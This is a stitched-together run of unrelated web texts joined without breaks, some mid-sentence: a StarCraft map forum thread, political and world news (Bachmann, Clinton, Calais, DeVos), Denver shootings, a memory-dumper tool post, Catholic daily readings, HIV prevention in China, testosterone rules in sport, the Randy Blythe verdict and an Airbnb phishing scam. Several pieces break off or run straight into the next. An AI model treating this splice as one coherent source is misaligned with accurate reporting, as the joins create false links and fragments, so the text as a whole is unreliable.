Uvantak Profile Blog Joined June 2011 Uruguay 1380 Posts #18 On June 04 2016 03:08 [PkF] Wire wrote:
The map is apparently being worked on to be brought on ladder next season. I hope they figure out what to do with the no-fly zones, they seem really problematic to me.
They will probably be removed, there is no time to do changes to the engine in time for next season. They will probably be removed, there is no time to do changes to the engine in time for next season. @Kantuva | Mapmaker | KTVMaps.wordpress.com | Check my profile to see my TL map threads, and you can search for KTV in the Custom Games section to play them.
Mightygear Profile Joined November 2015 80 Posts #19 It's possible to relocate the AI with some Tweaks - i can see flight blocker work. Questions? Hook me up on Twitter MightyGear@TLForum - @SandIsSoTastyIn what’s believed to be a national record for a congressional race, 6th District Republican Michele Bachmann’s staggering fundraising numbers show strong support at home but an even bigger boost nationally.
A Pioneer Press analysis of Bachmann’s $9.6 million tally — far more even than Minority Leader John Boehner has raised as he leads the Republican charge to take control of the House — shows what a conservative superstar Bachmann has become nationally: She is racking up big contributions from out of state at more than a 2-to-1 clip over those back home.
“It’s a broad amount of support, and we’re grateful for it,” campaign spokesman Sergio Gor said.
Of the $4 million Bachmann has raised in large contributions to date, $2.7 million comes from outside Minnesota. She has drawn heavily from conservative strongholds in Florida, Texas and Southern California. She has also raised $5 million in smaller, unitemized contributions.
That $2.7 million figure alone is larger than every other Minnesota congressional candidate’s fundraising totals except one — her challenger, Democratic-Farmer-Labor state Sen. Tarryl Clark.
“It tells me she’s a national figure in the conservative movement. She’s clearly captured the interest and enthusiasm of conservatives across the country,” said Steven Smith, a congressional scholar at St. Louis’ Washington University.
To put the money in perspective:
Bachmann has outraised Boehner by more than $2 million.
She has raised $481,000 from California, $350,000 from Texas and $277,000 from Florida. Any of those amounts beats the total raised by Republican Chip Carvaack, who is waging an upstart campaign to unseat longtime DFL incumbent Jim Oberstar in Minnesota’s 8th Congressional District.Story highlights The ad will air this week
The 60-second ad spot shown nationally on Univision
New York (CNN) Hillary Clinton's presidential campaign, in the wake of the Supreme Court's dead locked decision on President Barack Obama's executive actions on immigration, will begin airing its first Spanish language ad of the general election this week, the campaign said Friday.
The 60-second ad, which will air nationally on Univision during the Chile-Argentina Copa America final Sunday, hits Donald Trump for suggesting that the United States should use a deportation force to kick out undocumented Americans.
The ad opens with a clip of Trump saying, "We have to do what we have to do.... You're going to have a deportation force."
Trump has proposed building a wall along the United States-Mexico border and deporting undocumented immigrants who came to the United States illegally.
After Trump's comments, the Clinton spot, titled "Nuestra Historia" or "Our History," highlights Americans of Colombian, Mexican, Salvadoran and Puerto Rican descent.
Read MoreIt’s been almost a week since Google launched its new standalone email app called Inbox, and still not everyone is able to access it. The invite-only affair remains, well, invite-only.
But the good folks at WonderHowTo have a slight workaround that may expedite your access – but you still need somebody with access to Inbox for this to work, even if they don’t have an invite to spare.
First up, install the Android or iOS app on your device. You’ll then have to get a friend that has been granted access to log in to their Google Account on your phone. On Android, you do this under the main device settings, and hit ‘Add Account’, while on iOS they simply need to log-in via any Google app.
Then your friend must sign-in to the Inbox app with their credentials, whereby they can turn on access for your own account through ‘Manage Accounts’ in the app’s settings.
Don’t forget to remove your friend’s account from your handset, after which you will retain access to Inbox. This worked for us, though it seems that you cannot pass this on to your own friends – WonderHowTo notes that it only works when the official invitee’s account is used in the first instance.
Read next – Google’s Inbox helps to organize your email life with bundles and more
➤ Give Your Friends Access to Inbox by Gmail Without Any Invites [WonderHowTo – via LifeHacker]
Read next: Taco Bell’s mobile apps now let you order and pay ahead of collectionFrench authorities began dismantling the massive migrant camp in Calais on Feb. 29, 2016. Pro-migrant activists clashed with police, with at least three people being arrested. Thousands of migrants will be affected, although authorities have offered to relocate them. (Victoria Walker/The Washington Post)
French authorities began dismantling the massive migrant camp in Calais on Feb. 29, 2016. Pro-migrant activists clashed with police, with at least three people being arrested. Thousands of migrants will be affected, although authorities have offered to relocate them. (Victoria Walker/The Washington Post)
Police scuffled Tuesday with migrants protesting the demolition of a shantytown known as “the Jungle” as authorities moved ahead with plans to dismantle the camp in northern France that is often used as a staging ground to cross the English Channel to Britain.
The French decision to raze the makeshift settlement in Calais reflects wider measures across Europe to tighten border controls and curb movements amid a historic wave of migrants fleeing war and poverty in North Africa and the Middle East. Greek police estimate that as many as 10,000 migrants and refugees are at the border with Macedonia, which has closed entry to its side for the past 24 hours. On Monday, Macedonia’s president, Gjorge Ivanov, warned that the entire Balkan corridor would shut down if Austria reached the migrant quota of 37,500 that it recently announced.
But the crisis has extended beyond refugee camps and quotas, challenging the very idea of Europe itself. In response to the French government’s proposed demolition of the Jungle encampment, for instance, Belgium suspended Schengen rules permitting passport-free travel across many internal European borders, a hallmark of the European Union since 1995. At a campaign rally on Tuesday night, German Chancellor Angela Merkel called for continental solidarity across an increasingly insular European Union, demanding that the crisis be solved “among the 28 members, so that some states don’t have to take on a heavy burden while others brush the problem away.”
Although not Europe’s largest camp, the Jungle — home to an estimated 4,000 people — has become an emblem of the entire European migrant crisis: a mix of squalor, desperation and hope.
The proximity of the camp to ferry docks and the Eurotunnel rail link with Britain has led to dangerous attempts to sneak across the English Channel by trying to stow away aboard trucks, trains and boats. Many migrants — from Syria, Afghanistan, Sudan, Ethiopia, Eritrea and other places — seek to reach Britain in hopes of finding work or joining relatives.
A migrant sits on the roof of his makeshift shelter as police secure the migrant camp known as “the Jungle” as it is demolished in Calais, France, on March 1, 2016. (Yoan Valat/European Pressphoto Agency)
[French court clears way for camp demolition]
The British government has refused to take most of them. And France has now decided that they cannot remain in the camp and has promised to relocate them to nearby container units or to other refugee centers across the country. Even if receiving asylum in Britain remains an unlikely prospect, most migrants and refugees in the Jungle do not wish to apply for asylum in France.
In an interview, Philippe Mignonet, the deputy mayor of Calais, explained that most migrants “already know someone [in Britain] and can find a job on the black market.” In France, he said, “it’s 99 percent impossible to find a job on the black market.”
“Most of them speak English, or a bit of English,” he added. “They could try to learn a bit of French, but they refused to do so.”
On Monday, authorities began destroying the Jungle’s southern section, its most densely populated area. Clashes flared through the night, with police firing tear gas and forcibly removing migrants trying to stand their ground. Fires were reported in several areas of the camp slated for demolition.
Early Tuesday, a woman stood atop one of the shanties and cut her wrists as police moved in, the Associated Press reported. Her condition was not immediately known. A man accompanying her was beaten by baton-wielding police.
According to a census conducted two weeks ago by the organization Help Refugees, an estimated 3,400 people live in the southern area of the camp, 305 of whom are unaccompanied children.
Migrants look on as French police officers clear part of the Calais encampment known as “the Jungle” on Feb. 29, 2016. (Carl Court/Getty Images)
[Diplomatic war over migrants escalates in Europe]
The destruction of the camp — authorized by a French judge last week — has sparked outrage from aid groups and a legal challenge from about 200 migrants and eight nongovernmental organizations.
Bernard Cazeneuve, France’s interior minister, promised Thursday that the camp would be taken down methodically. “It has never been our intention to send in bulldozers to destroy the camp,” he said.
But bulldozers arrived early Monday along with a crew of about 20 workers who began tearing down homes and buildings.
Clare Moseley, the founder of Care4Calais, one of the nongovernmental aid organizations working on behalf of the refugees, accused French officials of reneging on pledges for a slow-paced intervention in the camp.
“They said they were going to be doing this slowly and gently — and with our cooperation,” she said in an interview. “Let’s just say that has not happened.”
Authorities began demolishing tents and homes in the camp, in some cases giving migrants one hour’s notice, according to Moseley. Mignonet justified the use of force in clearing out the camp. “There’s no alternative,” he said. “You can’t negotiate, you can’t talk, and you can’t explain.”
Fabienne Buccio, a local prefect, insisted recently that a police presence was necessary because “extremists” might persuade migrants to reject the government’s proposed alternatives. Activists, Mignonet added, “manipulate the migrants” and “use them for political purposes.”
“In fact, they don’t care about the migrants,” he said. “If they did, they would help them accept what the state is offering.”
Arnaud, who would give only his first name, is an activist affiliated with the No Borders group. “A lot of the houses aren’t empty — they just force them out and tear them down,” he said of the demolition of migrants’ homes. “It’s not true when the government says, ‘It’s not eviction, it’s not violent.’ ”
Moseley said she and other volunteers were able to enter the camp but faced tear gas and pepper spray.
“I do not call that nonconfrontational or nonviolent,” she said.
Read more:
Most of the refugees stuck in Greece are now women and children
Migrants find doors slamming shut across Europe
Spring could bring a fresh surge of refugees. But Europe isn’t ready for them.
Today's coverage from Post correspondents around the worldBetween 8 p.m. Friday and 2:30 a.m. Sunday, five people died from gunshot wounds in the Denver metro area. Four others were wounded by bullets, and one was hospitalized after she was stabbed.
In the midst of that violence, a group dedicated to promoting a healthy and safe summer for Denver’s residents by fighting gang violence by connecting young people with positive activities held a Saturday barbecue. The eighth annual Safe Summer Kickoff barbecue, put on by the Southwest Denver Coalition, the Department of Public Safety’s Gang Reduction initiative and Denver Public Safety Youth Programs, drew representatives from 50 private and public community groups. The organizations provided information on youth services, financial security options, community policing, health and wellness options, voting services and upcoming neighborhood social activities.
Related Articles June 4, 2016 Denver Police call triple slaying “drug deal gone extremely bad”
June 4, 2016 Aurora family mourns shooting death of 10-year-old boy
June 4, 2016 Adams County strip club shooting leaves one man dead
June 5, 2016 Woman shot, another stabbed, in separate incidents Sunday in Denver This weekend’s spate of violence came as the promise of a warm summer brought temperatures in the 80s, after weeks of cool and wet weather.
It was a rough start to the summer season, but not an indication that violence will soar in the hot days ahead, said Sonny Jackson, Denver police spokesman.
“We can’t predict how the summer is going to play out. Last summer we had some issues early, and we were able to get our arms around them. The incidents in the last 48 hours are unfortunate, but they all appear to be isolated,” he said.
In 2015, 10 people died in gang-related violence in March and April and put the city on track to record its most violent year since 2010. Two had been killed during the same period in 2014, according to police department statistics provided to The Denver Post. Three of the deaths occurred in a 24-hour span in March. Denver hit a 9-year high for homicides with 50 people killed in 2015.
During Denver’s 1993 “summer of violence,” 74 people were killed. Some of the deaths were from stray bullets, others were intentional murders and there was a randomness to the violence that increased fear because gang members killed people who weren’t involved in gangs.
Special Report: Homicides in Denver hit 9-year high with 50 people killed in 2015
This weekend’s incidents include:
8:13 p.m. Friday — The bloodshed began in an incident that police describe as a drug deal gone bad. Police responded to the 3600 block of Hudson Street in northeast Denver on a report of shooting. They found two people dead, two others wounded. Before the night was over, one of the wounded died after being taken to a hospital by a private party. Police are still seeking a 2015, or newer, maroon Chevy Tahoe with temporary tags that may be traveling out of state.
9:45 p.m. Friday — Aurora police responded to the Nordic Arms apartments at 1575 Galena St. after a report of shots fired and found 10-year-old Anthony Jaliel Lujan Hemmings with a fatal gunshot wound. He was pronounced dead at the scene. Police are investigating, but family members said they believe the boy accidentally shot himself after finding the gun, wrapped in cloth and sitting on a shelf.
1:58 a.m. Saturday — Adams County Sheriff’s deputies responded to the Players Club, a strip club at 6710 Federal Blvd., and found a man who had been shot. He was later pronounced dead at a hospital. Authorities believe the person responsible for that shooting was an employee.
2:35 p.m. Saturday — At least one person was shot and wounded near a Conoco gas station at East Colfax Avenue and Colorado Boulevard. Denver7 reported the shooting followed a confrontation over a bicycle at a busy bus stop. Denver police spokesman Tyrone Campbell said he couldn’t confirm that a bike was involved. The wounded man is hospitalized in critical condition.
3:07 p.m. Saturday — A gunshot victim walked into St. Joseph Hospital, 1375 E. 19th Ave. Police are unsure whether the injury is related to the Colfax Avenue shooting, Campbell said, but the hospital is less than 2 miles from the gas station.
2 a.m. Sunday — Shots fired in the Montbello neighborhood near 50th Avenue and Chambers Road. Denver police found a woman with a gunshot wound to the arm, Campbell said.
2:30 a.m. Sunday — Police responded to the 4500 block of High Street and found a woman who had been stabbed. Police took another woman into custody, Campbell said.
“It has been a rough weekend,” said the Rev. Leon Kelly, an anti-gang activist for 32 years who is the executive director of Open Door Youth Gang Alternatives.
He suspects at least some of the weekend’s violence was connected to gang activity.
Cities and community organizations throughout the metro area have been working to tamp down violence, he said. “But there is only so much you can do.”
Gang Reduction Initiative Denver, or GRID, the city’s comprehensive anti-gang program, was awarded a $169,500 grant last June to establish a team called Part of the Solution.
The team works to defuse tension, prevent retaliation and steer young gang members toward programs that can help them change.
“We have been proactive this year and that has helped,” Kelly said. “I think if we stay vigilant and continue to do some of the things we have been doing, we can at least compete” with the lure gangs pose to young people.
Among other things, GRID works to develop and support a variety of criminal justice and community partnerships, and support federal investigations of high-level gang activity.
Kelly was in Aurora on Saturday to comfort the family of the 10-year-old boy who died.
“I can deal with these older guys being killed,” Kelly said. “But when you have babies, that puts a sour taste in your mouth.”
Having people out on the street where they can watch what is going on in their neighborhoods is one of the best safeguards against crime, said Denver City Councilman Paul Lopez. He doesn’t want to let this weekend define the summer.
“We should be expecting a peaceful summer,” Lopez said. “If you are waiting for a violent summer, that is what you will get. It is kind of a doomsday mentality.”Secretary of education nominee Betsy DeVos has a long history of backing virtual schools, including founding and funding groups that have supported the expansion of online education. Additionally, as of 2006, her husband, Dick DeVos, was an investor in K12, a large network of more than 70 online schools.
Although advocates for virtual education say it is a lifeline for students who struggle in traditional settings, multiple research studies show that online charter schools and other virtual education models post dismal academic results, as measured by improvement on standardized tests.
DeVos, as chairman of the American Federation for Children — she stepped down last week — repeatedly called for expanding virtual schools. In a 2015 statement released through the group about a federal spending bill, DeVos said, “Families want and deserve access to all educational options, including charter schools, private schools and virtual schools. … [V]irtual schools are growing across the country. Greater innovation and choice will contribute to better K-12 educational outcomes for our children.” In 2012, DeVos supported a plan by Virginia Governor Bob McDonnell that including an expansion of online schools.
The American Federation for Children has praised such schools as allowing for “more flexibility and options in education” and includes “virtual learning” as part of its mission statement.
Matt Frendewey, a spokesperson for the group, said that it primarily focuses on private-school-choice programs — such as vouchers or tax credits — but that it also advocates for the expansion of additional options, including online schools. “We’ve long supported all forms of choice,” he said. “We believe parents should be able to exercise the greatest number of choices, including public schools, public charter schools, virtual schools, online courses, blended learning, homeschooling and private schools.”
In 2013, the American Federation for Children put out a sharply critical statement after New Jersey’s school chief, Chris Cerf, declined to authorize two virtual charter schools. The group said the decision “depriv[es] students of vital educational options.”
Another group DeVos founded and funded, the Michigan-based Great Lakes Education Project, has also advocated for expansion of online schools. (DeVos sat on the group’s board until last week.) In a 2015 presentation to the the Michigan Board of Education, the group’s executive director, Gary Naeyaert, argued for “full school choice” including virtual schools.
In an interview, Naeyaert said that his group doesn’t privilege online schools over other options and supports accountability for any low-performing school. “Our position [on virtual schools] is the same with any [school]: Are the kids learning? Is the money being handled responsibly? We don’t make a big distinction with whether the environment is brick-and-mortar.” Naeyaert pointed out that many virtual education programs in Michigan are run by school districts rather than charter networks.
DeVos highlighted virtual schools as an important part of the “educational choice movement” in a 2013 interview with Philanthropy Roundtable. In a 2015 speech, DeVos praised “virtual schools [and] online learning” as part of an “open system of choices.”
“We must open up the education industry — and let’s not kid ourselves that it isn’t an industry,” she said in the speech. “We must open it up to entrepreneurs and innovators. … This is how a student who’s not learning in their current model can find an individualized learning environment that will meet their needs.”
In 2006, as reported by Politico, Betsy DeVos’s husband Dick noted in a financial disclosure statement while he was running for governor of Michigan that he held an investment interest in K12 Inc., a large, for-profit chain of online schools. It is unclear if the DeVoses are still investors. A spokesperson for K12 said, “As a public company we don’t disclose who our investors are, and frankly, depending on how specific investors hold shares, we may not be aware of every individual shareholder of K12.”
The Trump transition team did not respond to a request for comment.
Nate Davis, the executive chairman of K12, responded enthusiastically to DeVos’s appointment. “DeVos has been a longtime advocate for strengthening public education and empowering parents with the freedom to choose schools that best meet the needs of their children,” he wrote in a column for The Hill. The group Public School Options, which backs online schools, also praised the appointment.
It is not clear to what extent DeVos, if confirmed as secretary of education, would or could promote online education. The Obama administration backed the expansion of charter schools through its Race to the Top grant program, but the subsequent passage of the Every Student Succeeds Act has significantly reduced federal authority. Still, DeVos could leverage her office’s bully pulpit as well as federal charter school grant programs. Trump has promoted sending federal dollars to states to expand school choice — presumably including online schools — and his transition site promises to make “post-secondary options more affordable and accessible through technology enriched delivery models.”
Greg Richmond, head of the National Association of Charter School Authorizers, said, “As the secretary of education, there are limited ways that Ms. DeVos can provide leadership on that front. One thing she can do is ensure that virtual schools, and for that matter any charter school run by a for-profit company, accounts for the federal dollars they receive.
“For example, any school that receives federal special education dollars must actually use those dollars for special education students and publicly account for those dollars,” he said.
Online charter schools have faced a wave of negative press, particularly after a large-scale 2015 study found that students who attended them lost a huge amount of academic ground. The study found that kids who returned to brick-and-mortar schools saw big jumps in test scores upon doing so. “Academic benefits from online charter schools are currently the exception rather than the rule,” the report’s authors wrote. Notably, Michigan was one of the few states where students at online charters performed comparably to other students, according to the research.
Several studies suggest that exclusively online education is likely to produce significantly worse academic results than brick-and-mortar options. Online programs may have the potential to expand access to more advanced courses or may be an option for students who can’t attend physical schools due to illness, for instance.
Online charter operators have proven politically influential in many state capitols. In an essay for The 74, former Tennessee commissioner of education Kevin Huffman described his failed attempts to shut down a low-performing network of schools in the state — K12 Inc., the same company Dick DeVos was invested in as of 2006. (At the time, K12 responded that the schools they ran were not low-performing and were unfairly targeted for closure.)
DeVos’s support for online schools would seem to put her at odds with some charter school advocates, highlighting a tension between choice advocates who emphasize accountability and student achievement and those who argue that choice serves as its own form of accountability.
Earlier this year, three groups that support charter schools published a report calling for more stringent oversight and regulation of online charter schools. “The well-documented, disturbingly low performance by too many full-time virtual charter public schools should serve as a call to action for state leaders and authorizers across the country,” according to the paper, released by the National Alliance for Public Charter Schools, the National Association of Charter School Authorizers, and 50Can.
Frendewey, of the American Federation for Children, said he did not think his group had been approached about joining the report because AFC focuses primarily on expanding access to private schools, as opposed to charters. “It’s highly unlikely we would [have joined the report] not because of the content, but because of our mission, which is private choice,” he said.
Frendewey noted that his group has supported quality-control measures for private-school voucher programs: “Our [model] legislation often includes commonsense accountability.”
Richmond, whose group co-issued the the paper, said he is not worried about DeVos’s position on the issue: “I’m not concerned that Betsy DeVos supports virtual schools, because we support them too — we just want them to be a lot better.”There's a general feeling in the Apple community that power users are being ignored if not abandoned, as iPhones and iPads take the spotlight from Macs, and OS X is made to look and work more like iOS. Power users look at the cancelled Xserve and the lack of Mac Pro updates, at the lack of Pro Apps or even iWork updates, at iMacs sealed up like MacBook Airs, at file systems abstracted away, and ecosystems tightly controlled, and we wonder where exactly Apple sees our place in their future. If they see a place for us at all.
This isn't something unique to computing. Time was if you wanted to drive a car, you pretty much had to be a mechanic. Even after those days passed, if you couldn't pop the hood and fix a problem by the side of the road, many drivers would tell you you had no business being behind the wheel. Now we have automatic transmissions, cruise control, launch systems, ABS brakes, traction control, and cars that park themselves and even drive themselves. Now, if you pop the hood of a car, it looks like something from a sci-fi movie, not something most people could understand, |
aid, quietly buried a number of potentially dangerous anti-Israel proposals, and entered for the first time into a long-term military-assistance program.
You can read Abba Eban’s version of the Pierre Hotel incident here.
Also, as you consider the Nullification of American Policy that occurred under Kennedy– surely in some measure as a result of campaign contributions– you will understand why the brave AP reporter Matt Lee at the State Department is so angry. No one is going to pull the wool over his eyes. He sees the nullification of policy going on before his eyes. He calls State on it. And they give him more Rhetoric, not Action. Matt Lee’s impatience stands for millions of Americans, including many, many progressive Jews.LiveDump – A simple memory dumper
I’m a fan of 010 Editor‘s templating system they have in place where you can write layouts for hex dumps or file formats I use it in almost all of my research/reversing. More information about that can be found here even though the hex editor has a built in system to open a live processes memory it’s not really great. I needed a system where the data I was looking at was live and updated almost instantaneously so I wrote LiveDump. LiveDump is a simple memory dumper which will either dump a region of memory once to a file or constantly dump it every X many milliseconds, this way I can see the data updated almost live in 010 editor and make use of their templating to reverse a portion of a data structure or class object. There are things like Reclass which are purposely built for this reason which I do use however my own personal preference is the templating feature built into 010 editor as it’s very robust and you incorporate loops and logic into it to display the data out how you want it.
Usage: Select the process from the process list, then enter an address and size. The address and size input fields accept both decimal and hexadecimal numbers, if your input is going to be hexadecimal then you must add a ‘0x’ prefix or ‘h’ postfix to the numerical value. Now either begin dumping continuously to a file by hitting “Begin Dump” or “Dump Once” if you wish to dump only once.
LiveDump.zip | SHA1: 934fb95654cb05d2168e1e707a5cc80418380d4fDaily Reading for Thursday February 28, 2019 Reading 1, Sirach 5:1-8 Responsorial Psalm, Psalms 1:1-2, 3-4, 6 Gospel, Mark 9:41-50 FREE Daily Readings Classes We ask you, humbly, to help. Hi readers, it seems you use Catholic Online a lot; that's great! It's a little awkward to ask, but we need your help. If you have already donated, we sincerely thank you. We're not salespeople, but we depend on donations averaging $14.76 and fewer than 1% of readers give. If you donate just $5.00, the price of your coffee, Catholic Online School could keep thriving. Thank you. Help Now >
Reading 1, Sirach 5:1-8
1 Do not put your confidence in your money or say, 'With this I am self-sufficient.'
2 Do not be led by your appetites and energy to follow the passions of your heart.
3 And do not say, 'Who has authority over me?' for the Lord will certainly give you your deserts.
4 Do not say, 'I have sinned, but what harm has befallen me?' for the Lord's forbearance is long.
5 Do not be so sure of forgiveness that you add sin to sin.
6 And do not say, 'His compassion is great, he will forgive me my many sins'; for with him are both mercy and retribution, and his anger does not pass from sinners.
7 Do not delay your return to the Lord, do not put it off day after day; for suddenly the Lord's wrath will blaze out, and on the day of punishment you will be utterly destroyed.
8 Do not set your heart on ill-gotten gains, they will be of no use to you on the day of disaster.
Responsorial Psalm, Psalms 1:1-2, 3-4, 6
1 How blessed is anyone who rejects the advice of the wicked and does not take a stand in the path that sinners tread, nor a seat in company with cynics,
2 but who delights in the law of Yahweh and murmurs his law day and night.
3 Such a one is like a tree planted near streams; it bears fruit in season and its leaves never wither, and every project succeeds.
4 How different the wicked, how different! Just like chaff blown around by the wind
6 For Yahweh watches over the path of the upright, but the path of the wicked is doomed.
Gospel, Mark 9:41-50
41 'If anyone gives you a cup of water to drink because you belong to Christ, then in truth I tell you, he will most certainly not lose his reward.
42 'But anyone who is the downfall of one of these little ones who have faith, would be better thrown into the sea with a great millstone hung round his neck.
43 And if your hand should be your downfall, cut it off; it is better for you to enter into life crippled, than to have two hands and go to hell, into the fire that can never be put out.
44
45 And if your foot should be your downfall, cut it off; it is better for you enter into life lame, than to have two feet and be thrown into hell.
46
47 And if your eye should be your downfall, tear it out; it is better for you to enter into the kingdom of God with one eye, than to have two eyes and be thrown into hell
48 where their worm will never die nor their fire be put out.
49 For everyone will be salted with fire.
50 Salt is a good thing, but if salt has become insipid, how can you make it salty again? Have salt in yourselves and be at peace with one another.'The center aims to spread safe sex awareness throughout China, which has over 654,000 HIV-positive people.
Young men in China have one of the fastest rates of new HIV cases in the population, with 2,300 students testing positive in the first nine months of this year, according to the Chinese Center for Disease Control and Prevention. But there is hope.
Beijing has begun to focus prevention strategies towards high school and university students specifically. In fact, the city just opened its very first center for HIV prevention focusing on ages 15 to 24, reports China News Service.
It’s long overdue, seeing as over 654,000 people are living with HIV or AIDS in China today, with 80 percent of new cases having contracted the virus through unprotected sex — a number that has risen 20 percent since 2008.
Within the first eight months of 2016 alone, there have been 34,000 new HIV cases, according to a CCDCP report.
As reported by Reuters, on World AIDS Day, China’s First Lady Peng Liyuan, also a World Health Organization HIV/AIDS prevention goodwill ambassador, attended a university event in Beijing to help raise awareness among students. The message was clear: the Chinese government needs to do more about raising HIV awareness among high-risk groups. How to do it is a whole other conversation.
“Because of reasons related to fear,” director of the Chinese National Center for AIDS/STD Control and Prevention, Wu Zunyou, said to Reuters, “exposure of their identity, exposure of the fact that they’re infected, and discrimination, those who have contracted (HIV) don’t wish to talk about their own identity as a host of the disease.”Dylan Martinez / Reuters Caster Semenya after winning a silver medal at the 2012 Olympics.
The so-called "sex gap" in testosterone — the typical difference between men and women in blood levels of the hormone — shouldn't be used to determine who is and isn't a female athlete, according to a commentary published Thursday in the journal Science. Testosterone is the sole marker used to categorize men and women in professional sports. The rules of the two major international sports organizations say that in cases where a female athlete's sex is in question, those with unusually high levels of testosterone aren't allowed to participate in women's competitions. But that policy is deeply flawed, according to the authors of the new report. When it comes to elite athletes, they say, extraordinary biology is always the norm. "It's a cultural anxiety," Katrina Karkazis, a medical anthropologist at Stanford University and lead author on the new paper, told BuzzFeed News. "This actually isn't really a scientific question — it's a social question on how to think about human variation." There have been only two large studies, both published last year, looking at testosterone levels in elite athletes. At face value, they seemed to have come to wildly different conclusions. The first, funded by the the International Olympic Committee (IOC) and the World Anti-Doping Agency, analyzed testosterone levels of 234 female Olympic athletes and found that 13.7% were higher than the typical range for women. The other study, run by the International Association of Athletics Federations (IAAF), looked at testosterone levels in 849 elite female athletes in track and field, and concluded that just 1.5% had high testosterone. In the new paper — which is contested by some researchers — Karkazis and her colleagues argue that the IAAF study was biased to support its existing policy. Its numbers were so low, they say, because it did not include female athletes with intersex conditions — those who have biological traits that could be considered male or female — who often have high testosterone levels. When contacted by BuzzFeed News, the IOC and the IAAF declined to comment specifically on Karkazis' paper. An IOC representative noted that it plans to discuss developments on this issue at a meeting in November.
Rafiq Maqbool / Associated Press / Via apimages.com Dutee Chand in 2014.
Testing for "true" sex has long been a controversial part of elite sports competitions. In 1968, the International Olympics Commission began testing for sex based on chromosomes — XX for female and XY for male. Before that, so-called "sex impostors" had to undergo demeaning physical inspections in the nude, so the new lab protocols were seen as "simpler, objective and more dignified." But as it turned out, chromosomal testing was not so simple. Exceptions to the rule cropped up all over the place. In 1999, the IOC dropped the requirement, acknowledging that when it comes to sex, things didn't always sort neatly into two piles. "We've known for a long time that the number of elite female athletes with a Y chromosome is about 1 in 420, while in the general population it's 1 in 20,000," Eric Vilain, a medical geneticist who researches disorders of sex development at UCLA, told BuzzFeed News. "So we know there is no strict biological line between men and women. The question is, do we throw our hands in the air?" The issue was further complicated in 2009 when 18-year-old South African runner Caster Semenya — who had lived her whole life as a girl but sported what The New Yorker called a "breathtakingly butch" physique — was barred from competing after fellow athletes publicly questioned her sex. Semenya was forced to undergo a physical examination, genetic tests, and a hormone exam. In what exploded into a "painful" public airing of a bigger debate, leaked medical results showed that Semenya had both male and female anatomy. While she was eventually allowed to compete, in 2011 the IAAF instituted a policy saying that females with testosterone levels above the "normal" range — anything higher than 10 nanomoles per liter in their blood — would be barred from competing. If female athletes who test above this ceiling want to compete against other women, they must lower their testosterone with hormone therapy or surgeries. The IOC has similar policies. (Interestingly, IOC rules state that women with high testosterone are allowed to compete against men.) The testosterone policy is a source of significant debate since it's being used as the single defining factor in a biological question that's still riddled with confusion. A recent case involving teenage Indian sprinter Dutee Chand — who was excluded from competing under the IAAF's testosterone rule — is challenging the policy at the Court of Arbitration for Sport in Switzerland, the so-called "Supreme Court of sport." She appealed the policy in March and still awaits the court's decision.The last expert testimony has been heard. Prosecution & Defense have completed their closing arguments. Judges are deliberating on the ruling now, as the world of rock n’ roll holds it’s breath…
The verdict in the trial of Randy Blythe, lead singer for Lamb of God is expected to be ruled upon today by a three Judge panel in Prague, Czech Republic for the charges of manslaughter which could carry up to a ten year prison sentence.
Here’s the latest news and what’s happened so far…
March 5, 2013
1:26 a.m. EST: Randy Blythe posts a poignant and moving Instagram message to his account reflecting on the day ahead of him in Court and the possible verdict.
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6:15 a.m. EST: As court resumed, the final witness, George Straus, an expert in the field of biomechanics took the stand for the defense. Straus testified that Daniel Nosek (the deceased) could not have turned his body 180 degrees if pushed from the stage and land on the back of his head as reported. Further Straus state that Nosek couldn’t have been pushed over the first row of spectators, and had to have actively jumped over them.
The prosecutor objected several times as the expert overlooked eyewitness testimony and the real world conditions at the scene.
That testimony was followed by closing arguments from both the prosecution and the defense.
The verdict is expected later today. We will be updating as new information comes in.
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NOT GUILTY! FOUND INNOCENT OF ALL CHARGES!
Randy found not guilty and acquitted of all charges; leaves courtroom a free man. Read our full report here: http://www.rockrevoltmagazine.com/randy-blythe-not-guilty-acquitted-of-all-charges/
12:15 p.m.
Tags: 2013A tourist who flew all the way to New York to buy a dress for her wedding wound up getting jilted by a phony Airbnb listing — and was left unable to afford her dream gown.
“The one I really want I can’t get,” lamented bilked bride Malissa Blackman, 36.
Blackman traveled from her home in Barbados and expected to be staying in a swank rental at 400 Fifth Ave. in Midtown with her mom, two sisters and two bridesmaids.
But when she got there, the doorman broke the bad news to her that the digs she’d shelled out $2,000 to use for five nights didn’t exist — and that they weren’t the first people to turn up at the address.
“I’m on the street thinking, what the hell? Where are we going to go?” she said.
A concierge confirmed to The Post that at least two other groups had shown up looking for the bogus beds this year — including a family of six from Spain and Argentina.
“Those poor families come here and then they have nowhere to stay,” said Aguedo Avias.
“I tell them I can help them find a hotel, but that the building doesn’t allow Airbnb and no one in the building has a listing on Airbnb.”
Blackman then had to cough up another $2,600 for last-minute hotel rooms — exactly what she’d planned to blow on a wedding dress.
She saw a gorgeous dress from her favorite designer Hayley Page the next day that would have been perfect for her November nuptials with fiancee Heath.
It featured layers of tulle and a “lovely back with lots of straps on it” — but at $2,500, the frock was now out of her price range.
She spent the day in tears.
“Because of the money situation, we said we’d have to go with a cheaper one,” said Blackman, who is herself a wedding planner back in Barbados.
Blackman contacted Airbnb to report the scam and ask for a refund Wednesday, but the site told her she wasn’t eligible — the con man had tricked her into clicking on a fake Airbnb site, so all the fraud happened off its territory.
Blackman, a newbie to the room-rental service, said that after contacting the seller over the app, she then emailed the supposed apartment owner.
He responded with an “airbnb.com” link to click through for the booking. It took her to what appeared to be the real deal — but she didn’t notice it actually said “airbnb.com-listining-online31215.info.”
“For me, who’s never booked Airbnb before, I’d never have known I was not dealing with Airbnb,” she said.
An Airbnb spokesman responded that Blackman went against warnings on the site telling users not to email with hosts or transfer money off the platform, and provided screenshots that show her messaging with the fraudster right next to one such alert.
But he acknowledged the site’s software isn’t supposed to allow users to share direct email addresses in the first place, and the safeguard failed. He added the listing has been removed, and that it wouldn’t have been there if anyone else had reported it for fraud in the past.
“The moment a fake listing is reported, it’s removed. We are investigating the situation at this address and our team is working hard to constantly strengthen our defenses and stay ahead of fraudsters,” said press secretary Peter Schottenfels.
After The Post inquired about Blackman’s story Friday, Airbnb said it will refund her after all — contrary to its previous missives to the heartbroken bride.
But Blackman said it was the first she’d heard of it and by then it was too late anyway — her trip was almost over and she had already made arrangements to buy a $975 dress.
Fortunately, she’s now falling in love with the strapless lace number and she’s looking forward to walking down the aisle in it later this year.
She’s just bummed that she wasn’t able to enjoy her Big Apple shopping spree that her fellow wedding planner pals had planned out for her.
